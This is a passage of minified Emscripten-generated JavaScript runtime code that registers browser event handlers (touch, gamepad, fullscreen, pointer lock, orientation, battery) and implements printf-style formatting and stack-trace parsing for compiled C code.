eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:focusEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),tick:(function(){if(window[\"performance\"]&&window[\"performance\"][\"now\"])return window[\"performance\"][\"now\"]();else return Date.now()}),fillDeviceOrientationEventData:(function(eventStruct,e,target){HEAPF64[eventStruct>>3]=JSEvents.tick();HEAPF64[eventStruct+8>>3]=e.alpha;HEAPF64[eventStruct+16>>3]=e.beta;HEAPF64[eventStruct+24>>3]=e.gamma;HEAP32[eventStruct+32>>2]=e.absolute}),registerDeviceOrientationEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.deviceOrientationEvent)JSEvents.deviceOrientationEvent=_malloc(40);var deviceOrientationEventHandlerFunc=(function(event){var e=event||window.event;JSEvents.fillDeviceOrientationEventData(JSEvents.deviceOrientationEvent,e,target);if(Module[\"dynCall_iiii\"](callbackfunc,eventTypeId,JSEvents.deviceOrientationEvent,userData))e.preventDefault()});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:deviceOrientationEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),fillDeviceMotionEventData:(function(eventStruct,e,target){HEAPF64[eventStruct>>3]=JSEvents.tick();HEAPF64[eventStruct+8>>3]=e.acceleration.x;HEAPF64[eventStruct+16>>3]=e.acceleration.y;HEAPF64[eventStruct+24>>3]=e.acceleration.z;HEAPF64[eventStruct+32>>3]=e.accelerationIncludingGravity.x;HEAPF64[eventStruct+40>>3]=e.accelerationIncludingGravity.y;HEAPF64[eventStruct+48>>3]=e.accelerationIncludingGravity.z;HEAPF64[eventStruct+56>>3]=e.rotationRate.alpha;HEAPF64[eventStruct+64>>3]=e.rotationRate.beta;HEAPF64[eventStruct+72>>3]=e.rotationRate.gamma}),registerDeviceMotionEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.deviceMotionEvent)JSEvents.deviceMotionEvent=_malloc(80);var deviceMotionEventHandlerFunc=(function(event){var e=event||window.event;JSEvents.fillDeviceMotionEventData(JSEvents.deviceMotionEvent,e,target);if(Module[\"dynCall_iiii\"](callbackfunc,eventTypeId,JSEvents.deviceMotionEvent,userData))e.preventDefault()});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:deviceMotionEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),screenOrientation:(function(){if(!window.screen)return undefined;return window.screen.orientation||window.screen.mozOrientation||window.screen.webkitOrientation||window.screen.msOrientation}),fillOrientationChangeEventData:(function(eventStruct,e){var orientations=[\"portrait-primary\",\"portrait-secondary\",\"landscape-primary\",\"landscape-secondary\"];var orientations2=[\"portrait\",\"portrait\",\"landscape\",\"landscape\"];var orientationString=JSEvents.screenOrientation();var orientation=orientations.indexOf(orientationString);if(orientation==-1){orientation=orientations2.indexOf(orientationString)}HEAP32[eventStruct>>2]=1<<orientation;HEAP32[eventStruct+4>>2]=window.orientation}),registerOrientationChangeEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.orientationChangeEvent)JSEvents.orientationChangeEvent=_malloc(8);if(!target){target=window.screen}else{target=JSEvents.findEventTarget(target)}var orientationChangeEventHandlerFunc=(function(event){var e=event||window.event;var orientationChangeEvent=JSEvents.orientationChangeEvent;JSEvents.fillOrientationChangeEventData(orientationChangeEvent,e);if(Module[\"dynCall_iiii\"](callbackfunc,eventTypeId,orientationChangeEvent,userData))e.preventDefault()});if(eventTypeString==\"orientationchange\"&&window.screen.mozOrientation!==undefined){eventTypeString=\"mozorientationchange\"}var eventHandler={target:target,allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:orientationChangeEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),fullscreenEnabled:(function(){return document.fullscreenEnabled||document.mozFullScreenEnabled||document.webkitFullscreenEnabled||document.msFullscreenEnabled}),fillFullscreenChangeEventData:(function(eventStruct,e){var fullscreenElement=document.fullscreenElement||document.mozFullScreenElement||document.webkitFullscreenElement||document.msFullscreenElement;var isFullscreen=!!fullscreenElement;HEAP32[eventStruct>>2]=isFullscreen;HEAP32[eventStruct+4>>2]=JSEvents.fullscreenEnabled();var reportedElement=isFullscreen?fullscreenElement:JSEvents.previousFullscreenElement;var nodeName=JSEvents.getNodeNameForTarget(reportedElement);var id=reportedElement&&reportedElement.id?reportedElement.id:\"\";stringToUTF8(nodeName,eventStruct+8,128);stringToUTF8(id,eventStruct+136,128);HEAP32[eventStruct+264>>2]=reportedElement?reportedElement.clientWidth:0;HEAP32[eventStruct+268>>2]=reportedElement?reportedElement.clientHeight:0;HEAP32[eventStruct+272>>2]=screen.width;HEAP32[eventStruct+276>>2]=screen.height;if(isFullscreen){JSEvents.previousFullscreenElement=fullscreenElement}}),registerFullscreenChangeEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.fullscreenChangeEvent)JSEvents.fullscreenChangeEvent=_malloc(280);if(!target)target=document;else target=JSEvents.findEventTarget(target);var fullscreenChangeEventhandlerFunc=(function(event){var e=event||window.event;var fullscreenChangeEvent=JSEvents.fullscreenChangeEvent;JSEvents.fillFullscreenChangeEventData(fullscreenChangeEvent,e);if(Module[\"dynCall_iiii\"](callbackfunc,eventTypeId,fullscreenChangeEvent,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:fullscreenChangeEventhandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),resizeCanvasForFullscreen:(function(target,strategy){var restoreOldStyle=__registerRestoreOldStyle(target);var cssWidth=strategy.softFullscreen?window.innerWidth:screen.width;var cssHeight=strategy.softFullscreen?window.innerHeight:screen.height;var rect=target.getBoundingClientRect();var windowedCssWidth=rect.right-rect.left;var windowedCssHeight=rect.bottom-rect.top;var canvasSize=emscripten_get_canvas_element_size_js(target.id);var windowedRttWidth=canvasSize[0];var windowedRttHeight=canvasSize[1];if(strategy.scaleMode==3){__setLetterbox(target,(cssHeight-windowedCssHeight)/2,(cssWidth-windowedCssWidth)/2);cssWidth=windowedCssWidth;cssHeight=windowedCssHeight}else if(strategy.scaleMode==2){if(cssWidth*windowedRttHeight<windowedRttWidth*cssHeight){var desiredCssHeight=windowedRttHeight*cssWidth/windowedRttWidth;__setLetterbox(target,(cssHeight-desiredCssHeight)/2,0);cssHeight=desiredCssHeight}else{var desiredCssWidth=windowedRttWidth*cssHeight/windowedRttHeight;__setLetterbox(target,0,(cssWidth-desiredCssWidth)/2);cssWidth=desiredCssWidth}}if(!target.style.backgroundColor)target.style.backgroundColor=\"black\";if(!document.body.style.backgroundColor)document.body.style.backgroundColor=\"black\";target.style.width=cssWidth+\"px\";target.style.height=cssHeight+\"px\";if(strategy.filteringMode==1){target.style.imageRendering=\"optimizeSpeed\";target.style.imageRendering=\"-moz-crisp-edges\";target.style.imageRendering=\"-o-crisp-edges\";target.style.imageRendering=\"-webkit-optimize-contrast\";target.style.imageRendering=\"optimize-contrast\";target.style.imageRendering=\"crisp-edges\";target.style.imageRendering=\"pixelated\"}var dpiScale=strategy.canvasResolutionScaleMode==2?window.devicePixelRatio:1;if(strategy.canvasResolutionScaleMode!=0){var newWidth=cssWidth*dpiScale|0;var newHeight=cssHeight*dpiScale|0;if(!target.controlTransferredOffscreen){target.width=newWidth;target.height=newHeight}else{emscripten_set_canvas_element_size_js(target.id,newWidth,newHeight)}if(target.GLctxObject)target.GLctxObject.GLctx.viewport(0,0,newWidth,newHeight)}return restoreOldStyle}),requestFullscreen:(function(target,strategy){if(strategy.scaleMode!=0||strategy.canvasResolutionScaleMode!=0){JSEvents.resizeCanvasForFullscreen(target,strategy)}if(target.requestFullscreen){target.requestFullscreen()}else if(target.msRequestFullscreen){target.msRequestFullscreen()}else if(target.mozRequestFullScreen){target.mozRequestFullScreen()}else if(target.mozRequestFullscreen){target.mozRequestFullscreen()}else if(target.webkitRequestFullscreen){target.webkitRequestFullscreen(Element.ALLOW_KEYBOARD_INPUT)}else{if(typeof JSEvents.fullscreenEnabled()===\"undefined\"){return-1}else{return-3}}if(strategy.canvasResizedCallback){Module[\"dynCall_iiii\"](strategy.canvasResizedCallback,37,0,strategy.canvasResizedCallbackUserData)}return 0}),fillPointerlockChangeEventData:(function(eventStruct,e){var pointerLockElement=document.pointerLockElement||document.mozPointerLockElement||document.webkitPointerLockElement||document.msPointerLockElement;var isPointerlocked=!!pointerLockElement;HEAP32[eventStruct>>2]=isPointerlocked;var nodeName=JSEvents.getNodeNameForTarget(pointerLockElement);var id=pointerLockElement&&pointerLockElement.id?pointerLockElement.id:\"\";stringToUTF8(nodeName,eventStruct+4,128);stringToUTF8(id,eventStruct+132,128)}),registerPointerlockChangeEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.pointerlockChangeEvent)JSEvents.pointerlockChangeEvent=_malloc(260);if(!target)target=document;else target=JSEvents.findEventTarget(target);var pointerlockChangeEventHandlerFunc=(function(event){var e=event||window.event;var pointerlockChangeEvent=JSEvents.pointerlockChangeEvent;JSEvents.fillPointerlockChangeEventData(pointerlockChangeEvent,e);if(Module[\"dynCall_iiii\"](callbackfunc,eventTypeId,pointerlockChangeEvent,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:pointerlockChangeEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),registerPointerlockErrorEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString){if(!target)target=document;else target=JSEvents.findEventTarget(target);var pointerlockErrorEventHandlerFunc=(function(event){var e=event||window.event;if(Module[\"dynCall_iiii\"](callbackfunc,eventTypeId,0,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:pointerlockErrorEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),requestPointerLock:(function(target){if(target.requestPointerLock){target.requestPointerLock()}else if(target.mozRequestPointerLock){target.mozRequestPointerLock()}else if(target.webkitRequestPointerLock){target.webkitRequestPointerLock()}else if(target.msRequestPointerLock){target.msRequestPointerLock()}else{if(document.body.requestPointerLock||document.body.mozRequestPointerLock||document.body.webkitRequestPointerLock||document.body.msRequestPointerLock){return-3}else{return-1}}return 0}),fillVisibilityChangeEventData:(function(eventStruct,e){var visibilityStates=[\"hidden\",\"visible\",\"prerender\",\"unloaded\"];var visibilityState=visibilityStates.indexOf(document.visibilityState);HEAP32[eventStruct>>2]=document.hidden;HEAP32[eventStruct+4>>2]=visibilityState}),registerVisibilityChangeEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.visibilityChangeEvent)JSEvents.visibilityChangeEvent=_malloc(8);if(!target)target=document;else target=JSEvents.findEventTarget(target);var visibilityChangeEventHandlerFunc=(function(event){var e=event||window.event;var visibilityChangeEvent=JSEvents.visibilityChangeEvent;JSEvents.fillVisibilityChangeEventData(visibilityChangeEvent,e);if(Module[\"dynCall_iiii\"](callbackfunc,eventTypeId,visibilityChangeEvent,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:visibilityChangeEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),registerTouchEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.touchEvent)JSEvents.touchEvent=_malloc(1684);target=JSEvents.findEventTarget(target);var touchEventHandlerFunc=(function(event){var e=event||window.event;var touches={};for(var i=0;i<e.touches.length;++i){var touch=e.touches[i];touches[touch.identifier]=touch}for(var i=0;i<e.changedTouches.length;++i){var touch=e.changedTouches[i];touches[touch.identifier]=touch;touch.changed=true}for(var i=0;i<e.targetTouches.length;++i){var touch=e.targetTouches[i];touches[touch.identifier].onTarget=true}var touchEvent=JSEvents.touchEvent;var ptr=touchEvent;HEAP32[ptr+4>>2]=e.ctrlKey;HEAP32[ptr+8>>2]=e.shiftKey;HEAP32[ptr+12>>2]=e.altKey;HEAP32[ptr+16>>2]=e.metaKey;ptr+=20;var canvasRect=Module[\"canvas\"]?Module[\"canvas\"].getBoundingClientRect():undefined;var targetRect=JSEvents.getBoundingClientRectOrZeros(target);var numTouches=0;for(var i in touches){var t=touches[i];HEAP32[ptr>>2]=t.identifier;HEAP32[ptr+4>>2]=t.screenX;HEAP32[ptr+8>>2]=t.screenY;HEAP32[ptr+12>>2]=t.clientX;HEAP32[ptr+16>>2]=t.clientY;HEAP32[ptr+20>>2]=t.pageX;HEAP32[ptr+24>>2]=t.pageY;HEAP32[ptr+28>>2]=t.changed;HEAP32[ptr+32>>2]=t.onTarget;if(canvasRect){HEAP32[ptr+44>>2]=t.clientX-canvasRect.left;HEAP32[ptr+48>>2]=t.clientY-canvasRect.top}else{HEAP32[ptr+44>>2]=0;HEAP32[ptr+48>>2]=0}HEAP32[ptr+36>>2]=t.clientX-targetRect.left;HEAP32[ptr+40>>2]=t.clientY-targetRect.top;ptr+=52;if(++numTouches>=32){break}}HEAP32[touchEvent>>2]=numTouches;if(Module[\"dynCall_iiii\"](callbackfunc,eventTypeId,touchEvent,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:eventTypeString==\"touchstart\"||eventTypeString==\"touchend\",eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:touchEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),fillGamepadEventData:(function(eventStruct,e){HEAPF64[eventStruct>>3]=e.timestamp;for(var i=0;i<e.axes.length;++i){HEAPF64[eventStruct+i*8+16>>3]=e.axes[i]}for(var i=0;i<e.buttons.length;++i){if(typeof e.buttons[i]===\"object\"){HEAPF64[eventStruct+i*8+528>>3]=e.buttons[i].value}else{HEAPF64[eventStruct+i*8+528>>3]=e.buttons[i]}}for(var i=0;i<e.buttons.length;++i){if(typeof e.buttons[i]===\"object\"){HEAP32[eventStruct+i*4+1040>>2]=e.buttons[i].pressed}else{HEAP32[eventStruct+i*4+1040>>2]=e.buttons[i]==1}}HEAP32[eventStruct+1296>>2]=e.connected;HEAP32[eventStruct+1300>>2]=e.index;HEAP32[eventStruct+8>>2]=e.axes.length;HEAP32[eventStruct+12>>2]=e.buttons.length;stringToUTF8(e.id,eventStruct+1304,64);stringToUTF8(e.mapping,eventStruct+1368,64)}),registerGamepadEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.gamepadEvent)JSEvents.gamepadEvent=_malloc(1432);var gamepadEventHandlerFunc=(function(event){var e=event||window.event;var gamepadEvent=JSEvents.gamepadEvent;JSEvents.fillGamepadEventData(gamepadEvent,e.gamepad);if(Module[\"dynCall_iiii\"](callbackfunc,eventTypeId,gamepadEvent,userData))e.preventDefault()});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:true,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:gamepadEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),registerBeforeUnloadEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString){var beforeUnloadEventHandlerFunc=(function(event){var e=event||window.event;var confirmationMessage=Module[\"dynCall_iiii\"](callbackfunc,eventTypeId,0,userData);if(confirmationMessage){confirmationMessage=Pointer_stringify(confirmationMessage)}if(confirmationMessage){e.preventDefault();e.returnValue=confirmationMessage;return confirmationMessage}});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:beforeUnloadEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),battery:(function(){return navigator.battery||navigator.mozBattery||navigator.webkitBattery}),fillBatteryEventData:(function(eventStruct,e){HEAPF64[eventStruct>>3]=e.chargingTime;HEAPF64[eventStruct+8>>3]=e.dischargingTime;HEAPF64[eventStruct+16>>3]=e.level;HEAP32[eventStruct+24>>2]=e.charging}),registerBatteryEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.batteryEvent)JSEvents.batteryEvent=_malloc(32);var batteryEventHandlerFunc=(function(event){var e=event||window.event;var batteryEvent=JSEvents.batteryEvent;JSEvents.fillBatteryEventData(batteryEvent,JSEvents.battery());if(Module[\"dynCall_iiii\"](callbackfunc,eventTypeId,batteryEvent,userData))e.preventDefault()});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:batteryEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),registerWebGlEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!target)target=Module[\"canvas\"];var webGlEventHandlerFunc=(function(event){var e=event||window.event;if(Module[\"dynCall_iiii\"](callbackfunc,eventTypeId,0,userData))e.preventDefault()});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:webGlEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)})};var __currentFullscreenStrategy={};function _emscripten_exit_fullscreen(){if(typeof JSEvents.fullscreenEnabled()===\"undefined\")return-1;JSEvents.removeDeferredCalls(JSEvents.requestFullscreen);if(document.exitFullscreen){document.exitFullscreen()}else if(document.msExitFullscreen){document.msExitFullscreen()}else if(document.mozCancelFullScreen){document.mozCancelFullScreen()}else if(document.webkitExitFullscreen){document.webkitExitFullscreen()}else{return-1}if(__currentFullscreenStrategy.canvasResizedCallback){Module[\"dynCall_iiii\"](__currentFullscreenStrategy.canvasResizedCallback,37,0,__currentFullscreenStrategy.canvasResizedCallbackUserData)}return 0}function _emscripten_exit_pointerlock(){JSEvents.removeDeferredCalls(JSEvents.requestPointerLock);if(document.exitPointerLock){document.exitPointerLock()}else if(document.msExitPointerLock){document.msExitPointerLock()}else if(document.mozExitPointerLock){document.mozExitPointerLock()}else if(document.webkitExitPointerLock){document.webkitExitPointerLock()}else{return-1}return 0}function _emscripten_get_fullscreen_status(fullscreenStatus){if(typeof JSEvents.fullscreenEnabled()===\"undefined\")return-1;JSEvents.fillFullscreenChangeEventData(fullscreenStatus);return 0}function __emscripten_sample_gamepad_data(){if(!JSEvents.numGamepadsConnected)return;if(Browser.mainLoop.currentFrameNumber!==JSEvents.lastGamepadStateFrame||!Browser.mainLoop.currentFrameNumber){JSEvents.lastGamepadState=navigator.getGamepads?navigator.getGamepads():navigator.webkitGetGamepads?navigator.webkitGetGamepads:null;JSEvents.lastGamepadStateFrame=Browser.mainLoop.currentFrameNumber}}function _emscripten_get_gamepad_status(index,gamepadState){__emscripten_sample_gamepad_data();if(!JSEvents.lastGamepadState)return-1;if(index<0||index>=JSEvents.lastGamepadState.length)return-5;if(!JSEvents.lastGamepadState[index])return-7;JSEvents.fillGamepadEventData(gamepadState,JSEvents.lastGamepadState[index]);return 0}function _emscripten_get_main_loop_timing(mode,value){if(mode)HEAP32[mode>>2]=Browser.mainLoop.timingMode;if(value)HEAP32[value>>2]=Browser.mainLoop.timingValue}function _emscripten_get_num_gamepads(){if(!JSEvents.numGamepadsConnected)return 0;__emscripten_sample_gamepad_data();if(!JSEvents.lastGamepadState)return-1;return JSEvents.lastGamepadState.length}function _emscripten_has_threading_support(){return 0}function _emscripten_html5_remove_all_event_listeners(){JSEvents.removeAllEventListeners()}function _emscripten_is_webgl_context_lost(target){if(!Module.ctx)return true;return Module.ctx.isContextLost()}function __reallyNegative(x){return x<0||x===0&&1/x===-Infinity}function __formatString(format,varargs){assert((varargs&3)===0);var textIndex=format;var argIndex=varargs;function prepVararg(ptr,type){if(type===\"double\"||type===\"i64\"){if(ptr&7){assert((ptr&7)===4);ptr+=4}}else{assert((ptr&3)===0)}return ptr}function getNextArg(type){var ret;argIndex=prepVararg(argIndex,type);if(type===\"double\"){ret=HEAPF64[argIndex>>3];argIndex+=8}else if(type==\"i64\"){ret=[HEAP32[argIndex>>2],HEAP32[argIndex+4>>2]];argIndex+=8}else{assert((argIndex&3)===0);type=\"i32\";ret=HEAP32[argIndex>>2];argIndex+=4}return ret}var ret=[];var curr,next,currArg;while(1){var startTextIndex=textIndex;curr=HEAP8[textIndex>>0];if(curr===0)break;next=HEAP8[textIndex+1>>0];if(curr==37){var flagAlwaysSigned=false;var flagLeftAlign=false;var flagAlternative=false;var flagZeroPad=false;var flagPadSign=false;flagsLoop:while(1){switch(next){case 43:flagAlwaysSigned=true;break;case 45:flagLeftAlign=true;break;case 35:flagAlternative=true;break;case 48:if(flagZeroPad){break flagsLoop}else{flagZeroPad=true;break};case 32:flagPadSign=true;break;default:break flagsLoop}textIndex++;next=HEAP8[textIndex+1>>0]}var width=0;if(next==42){width=getNextArg(\"i32\");textIndex++;next=HEAP8[textIndex+1>>0]}else{while(next>=48&&next<=57){width=width*10+(next-48);textIndex++;next=HEAP8[textIndex+1>>0]}}var precisionSet=false,precision=-1;if(next==46){precision=0;precisionSet=true;textIndex++;next=HEAP8[textIndex+1>>0];if(next==42){precision=getNextArg(\"i32\");textIndex++}else{while(1){var precisionChr=HEAP8[textIndex+1>>0];if(precisionChr<48||precisionChr>57)break;precision=precision*10+(precisionChr-48);textIndex++}}next=HEAP8[textIndex+1>>0]}if(precision<0){precision=6;precisionSet=false}var argSize;switch(String.fromCharCode(next)){case\"h\":var nextNext=HEAP8[textIndex+2>>0];if(nextNext==104){textIndex++;argSize=1}else{argSize=2}break;case\"l\":var nextNext=HEAP8[textIndex+2>>0];if(nextNext==108){textIndex++;argSize=8}else{argSize=4}break;case\"L\":case\"q\":case\"j\":argSize=8;break;case\"z\":case\"t\":case\"I\":argSize=4;break;default:argSize=null}if(argSize)textIndex++;next=HEAP8[textIndex+1>>0];switch(String.fromCharCode(next)){case\"d\":case\"i\":case\"u\":case\"o\":case\"x\":case\"X\":case\"p\":{var signed=next==100||next==105;argSize=argSize||4;currArg=getNextArg(\"i\"+argSize*8);var origArg=currArg;var argText;if(argSize==8){currArg=makeBigInt(currArg[0],currArg[1],next==117)}if(argSize<=4){var limit=Math.pow(256,argSize)-1;currArg=(signed?reSign:unSign)(currArg&limit,argSize*8)}var currAbsArg=Math.abs(currArg);var prefix=\"\";if(next==100||next==105){if(argSize==8&&typeof i64Math===\"object\")argText=i64Math.stringify(origArg[0],origArg[1],null);else argText=reSign(currArg,8*argSize,1).toString(10)}else if(next==117){if(argSize==8&&typeof i64Math===\"object\")argText=i64Math.stringify(origArg[0],origArg[1],true);else argText=unSign(currArg,8*argSize,1).toString(10);currArg=Math.abs(currArg)}else if(next==111){argText=(flagAlternative?\"0\":\"\")+currAbsArg.toString(8)}else if(next==120||next==88){prefix=flagAlternative&&currArg!=0?\"0x\":\"\";if(argSize==8&&typeof i64Math===\"object\"){if(origArg[1]){argText=(origArg[1]>>>0).toString(16);var lower=(origArg[0]>>>0).toString(16);while(lower.length<8)lower=\"0\"+lower;argText+=lower}else{argText=(origArg[0]>>>0).toString(16)}}else if(currArg<0){currArg=-currArg;argText=(currAbsArg-1).toString(16);var buffer=[];for(var i=0;i<argText.length;i++){buffer.push((15-parseInt(argText[i],16)).toString(16))}argText=buffer.join(\"\");while(argText.length<argSize*2)argText=\"f\"+argText}else{argText=currAbsArg.toString(16)}if(next==88){prefix=prefix.toUpperCase();argText=argText.toUpperCase()}}else if(next==112){if(currAbsArg===0){argText=\"(nil)\"}else{prefix=\"0x\";argText=currAbsArg.toString(16)}}if(precisionSet){while(argText.length<precision){argText=\"0\"+argText}}if(currArg>=0){if(flagAlwaysSigned){prefix=\"+\"+prefix}else if(flagPadSign){prefix=\" \"+prefix}}if(argText.charAt(0)==\"-\"){prefix=\"-\"+prefix;argText=argText.substr(1)}while(prefix.length+argText.length<width){if(flagLeftAlign){argText+=\" \"}else{if(flagZeroPad){argText=\"0\"+argText}else{prefix=\" \"+prefix}}}argText=prefix+argText;argText.split(\"\").forEach((function(chr){ret.push(chr.charCodeAt(0))}));break};case\"f\":case\"F\":case\"e\":case\"E\":case\"g\":case\"G\":{currArg=getNextArg(\"double\");var argText;if(isNaN(currArg)){argText=\"nan\";flagZeroPad=false}else if(!isFinite(currArg)){argText=(currArg<0?\"-\":\"\")+\"inf\";flagZeroPad=false}else{var isGeneral=false;var effectivePrecision=Math.min(precision,20);if(next==103||next==71){isGeneral=true;precision=precision||1;var exponent=parseInt(currArg.toExponential(effectivePrecision).split(\"e\")[1],10);if(precision>exponent&&exponent>=-4){next=(next==103?\"f\":\"F\").charCodeAt(0);precision-=exponent+1}else{next=(next==103?\"e\":\"E\").charCodeAt(0);precision--}effectivePrecision=Math.min(precision,20)}if(next==101||next==69){argText=currArg.toExponential(effectivePrecision);if(/[eE][-+]\\d$/.test(argText)){argText=argText.slice(0,-1)+\"0\"+argText.slice(-1)}}else if(next==102||next==70){argText=currArg.toFixed(effectivePrecision);if(currArg===0&&__reallyNegative(currArg)){argText=\"-\"+argText}}var parts=argText.split(\"e\");if(isGeneral&&!flagAlternative){while(parts[0].length>1&&parts[0].indexOf(\".\")!=-1&&(parts[0].slice(-1)==\"0\"||parts[0].slice(-1)==\".\")){parts[0]=parts[0].slice(0,-1)}}else{if(flagAlternative&&argText.indexOf(\".\")==-1)parts[0]+=\".\";while(precision>effectivePrecision++)parts[0]+=\"0\"}argText=parts[0]+(parts.length>1?\"e\"+parts[1]:\"\");if(next==69)argText=argText.toUpperCase();if(currArg>=0){if(flagAlwaysSigned){argText=\"+\"+argText}else if(flagPadSign){argText=\" \"+argText}}}while(argText.length<width){if(flagLeftAlign){argText+=\" \"}else{if(flagZeroPad&&(argText[0]==\"-\"||argText[0]==\"+\")){argText=argText[0]+\"0\"+argText.slice(1)}else{argText=(flagZeroPad?\"0\":\" \")+argText}}}if(next<97)argText=argText.toUpperCase();argText.split(\"\").forEach((function(chr){ret.push(chr.charCodeAt(0))}));break};case\"s\":{var arg=getNextArg(\"i8*\");var argLength=arg?_strlen(arg):\"(null)\".length;if(precisionSet)argLength=Math.min(argLength,precision);if(!flagLeftAlign){while(argLength<width--){ret.push(32)}}if(arg){for(var i=0;i<argLength;i++){ret.push(HEAPU8[arg++>>0])}}else{ret=ret.concat(intArrayFromString(\"(null)\".substr(0,argLength),true))}if(flagLeftAlign){while(argLength<width--){ret.push(32)}}break};case\"c\":{if(flagLeftAlign)ret.push(getNextArg(\"i8\"));while(--width>0){ret.push(32)}if(!flagLeftAlign)ret.push(getNextArg(\"i8\"));break};case\"n\":{var ptr=getNextArg(\"i32*\");HEAP32[ptr>>2]=ret.length;break};case\"%\":{ret.push(curr);break};default:{for(var i=startTextIndex;i<textIndex+2;i++){ret.push(HEAP8[i>>0])}}}textIndex+=2}else{ret.push(curr);textIndex+=1}}return ret}function __emscripten_traverse_stack(args){if(!args||!args.callee||!args.callee.name){return[null,\"\",\"\"]}var funstr=args.callee.toString();var funcname=args.callee.name;var str=\"(\";var first=true;for(var i in args){var a=args[i];if(!first){str+=\", \"}first=false;if(typeof a===\"number\"||typeof a===\"string\"){str+=a}else{str+=\"(\"+typeof a+\")\"}}str+=\")\";var caller=args.callee.caller;args=caller?caller.arguments:[];if(first)str=\"\";return[args,funcname,str]}function _emscripten_get_callstack_js(flags){var callstack=jsStackTrace();var iThisFunc=callstack.lastIndexOf(\"_emscripten_log\");var iThisFunc2=callstack.lastIndexOf(\"_emscripten_get_callstack\");var iNextLine=callstack.indexOf(\"\\n\",Math.max(iThisFunc,iThisFunc2))+1;callstack=callstack.slice(iNextLine);if(flags&8&&typeof emscripten_source_map===\"undefined\"){warnOnce('Source map information is not available, emscripten_log with EM_LOG_C_STACK will be ignored. Build with \"--pre-js $EMSCRIPTEN/src/emscripten-source-map.min.js\" linker flag to add source map loading to code.');flags^=8;flags|=16}var stack_args=null;if(flags&128){stack_args=__emscripten_traverse_stack(arguments);while(stack_args[1].indexOf(\"_emscripten_\")>=0)stack_args=__emscripten_traverse_stack(stack_args[0])}var lines=callstack.split(\"\\n\");callstack=\"\";var newFirefoxRe=new RegExp(\"\\\\s*(.*?)@(.*?):([0-9]+):([0-9]+)\");var firefoxRe=new RegExp(\"\\\\s*(.*?)@(.*):(.*)(:(.*))?\");var chromeRe=new RegExp(\"\\\\s*at (.*?) \\\\((.*):(.*):(.*)\\\\)\");for(var l in lines){var line=lines[l];var jsSymbolName=\"\";var file=\"\";var lineno=0;var column=0;var parts=chromeRe.exec(line);if(parts&&parts.length==5){jsSymbolName=parts[1];file=parts[2];lineno=parts[3];column=parts[4]}else{parts=newFirefoxRe.exec(line);if(!parts)parts=firefoxRe.exec(line);if(parts&&parts.length>=4){jsSymbolName=parts[1];file=parts[2];lineno=parts[3];column=parts[4]|0}else{callstack+=line+\"\\n\";continue}}var cSymbolName=flags&32?demangle(jsSymbolName):jsSymbolName;if(!cSymbolName){cSymbolName=jsSymbolName}var haveSourceMap=false;if(flags&8){var 